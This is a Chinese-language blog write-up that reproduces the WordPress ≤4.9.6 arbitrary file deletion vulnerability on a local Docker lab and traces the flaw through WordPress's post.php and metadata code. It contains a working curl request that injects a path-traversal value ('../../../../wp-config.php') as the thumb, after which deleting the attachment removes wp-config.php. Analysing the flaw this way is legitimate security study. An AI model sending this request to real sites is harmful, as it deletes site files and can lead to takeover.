0x01 前言
和预期超了几天,毕业了挺多聚会的,在学校的日子总是过得那么快,一转眼就毕业了。好些东西都没去好好珍惜,大学也不要求有多大的成就,就希望每天都能开开心心就最好的。 今天这篇文章的分析早就有人发过了,不过我觉得我还是得写一下,毕竟我要有我自己的风格。还是老样子,先测试漏洞怎么触发,然后再去做分析。
0x02 环境搭建
旧的和新的区别不大,只要不大于4.9.6就行了,这次测试的是4.6版本的,具体怎么搭建按照上一篇的文章方法搭建就行了,这里就不再过一遍了。 https://getpass.cn/2018/06/18/Analysis-of-WordPress%3C=4.6-Command-Execution-Vulnerability/
本文中用的搭建环境是docker+Kitematic,都差不多的,用图形界面比较方便些。
0x03 漏洞复现
1.漏洞执行流程
先给一个大概的框架,代码稍后再分析就会很明了了。
2.复现过程
-登录账号
-上传文件
-编辑文件
-执行Payload
首先要获取_wpnonce
和cookies
还有post的id
。
然后执行:
curl -v 'http://127.0.0.1/wp-admin/post.php?post=5' -H 'Cookie: xxx' -d 'action=editattachment&_wpnonce=xxx&thumb=../../../../wp-config.php'
我这里用的是curl,在Macos比较方便,如果是win可以用抓包发包。
-删除文件
然后点击删除
执行完之后会跳转到安装界面。
然后wp-config.php
也不在网站目录下了
0x04 漏洞分析
1.phpmyadmin安装
在命令行里面看数据不太好看,装个图形界面比较清楚,进入docker的交互式:
查看容器ID
docker ps
进入指定容器的交互式
docker exec -it ID /bin/bash
安装phpmyadmin,输入下面的命令就行了:
apt update
apt install phpmyadmin
然后输入MySQL的账号密码,再创建链接:
ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin
最后输入
htpp://127.0.0.1/phpmyadmin
进入
2.分析如何插入thumb属性
我们看下Payload里面是传了什么参数:
- post
- action
- thumb
post传入的ID就不分析了,直接看action
的参数的值是editattachment
,代码是在/wp-admin/post.php
的178~189行
case 'editattachment':
check_admin_referer('update-post_' . $post_id);
// Don't let these be changed
unset($_POST['guid']);
$_POST['post_type'] = 'attachment';
// Update the thumbnail filename
$newmeta = wp_get_attachment_metadata( $post_id, true );
//这里把POST过来的thumb赋值给newmeta数值里面的thumb
$newmeta['thumb'] = $_POST['thumb'];
//执行update函数
wp_update_attachment_metadata( $post_id, $newmeta );
我们继续跟进wp_update_attachment_metadata
函数,在/wp-includes/post.php
文件的5079~5097行:
function wp_update_attachment_metadata( $attachment_id, $data ) {
$attachment_id = (int) $attachment_id;
if ( ! $post = get_post( $attachment_id ) ) {
return false;
}
if ( $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ) )
return update_post_meta( $post->ID, '_wp_attachment_metadata', $data );
else
return delete_post_meta( $post->ID, '_wp_attachment_metadata' );
}
上面一些函数过滤的可以直接去读一下,对插入这个值是没什么影响的,记住传入的$meta_key
的值是_wp_attachment_metadata
我们继续跟进函数update_post_meta
,
$updated = update_metadata( 'post', $post_id, $meta_key, $meta_value, $prev_value );
这个函数没什么好分析的,我们继续跟进这个函数里面的update_metadata
函数的202行:
if ( empty( $meta_ids ) ) {
return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
}
继续跟进add_metadata
函数,前面都是序列化操作和过滤操作,主要看96~100行的插入sql执行语句:
$result = $wpdb->insert( $table, array(
$column => $object_id,
'meta_key' => $meta_key,
'meta_value' => $meta_value
) );
我们来实现这个代码的执行流程,我们再次上传图片,然后执行Payload。
执行前的wp_postmeta
表_wp_attachment_metadata
字段内容:
可以复制内容到https://1024tools.com/unserialize 网站,也可以用浏览器插件
执行后:
可以看出已经成功插入thumb的内容了。
3.分析任意文件删除
还是从文件/wp-admin/post.php
开始分析,找到action是delete的case地方,在246~2268行,它这里判断了post_type
是否等于attachment
,这个在上面插入的那个函数里面已经赋值了,可以回去看下183行。
case 'delete':
check_admin_referer('delete-post_' . $post_id);
if ( ! $post )
wp_die( __( 'This item has already been deleted.' ) );
if ( ! $post_type_object )
wp_die( __( 'Invalid post type.' ) );
if ( ! current_user_can( 'delete_post', $post_id ) )
wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
if ( $post->post_type == 'attachment' ) {
$force = ( ! MEDIA_TRASH );
if ( ! wp_delete_attachment( $post_id, $force ) )
wp_die( __( 'Error in deleting.' ) );
} else {
if ( ! wp_delete_post( $post_id, true ) )
wp_die( __( 'Error in deleting.' ) );
}
wp_redirect( add_query_arg('deleted', 1, $sendback) );
exit();
我们继续跟进wp_delete_attachment
函数,在wp-includes/post.php
的5002~5010行,可以看到执行sql语句查询出来的$meta['thumb']
的值,然后下面也没过滤直接就带入了unlink
函数,而且通过上面的分析$meta['thumb']
的值是可控的,这样就造成了任意文件的删除。
if ( ! empty($meta['thumb']) ) {
// Don't delete the thumb if another attachment uses it.
if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
/** This filter is documented in wp-includes/functions.php */
$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
}
}
0x05 结束
写这个文章写到一半忘了保存又重新写了一遍,心累。。。
0x06 参考
https://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility/ https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/ https://1024tools.com/unserialize
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/wordpress--4.9.6-arbitrary-file-removal-vulnerability.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。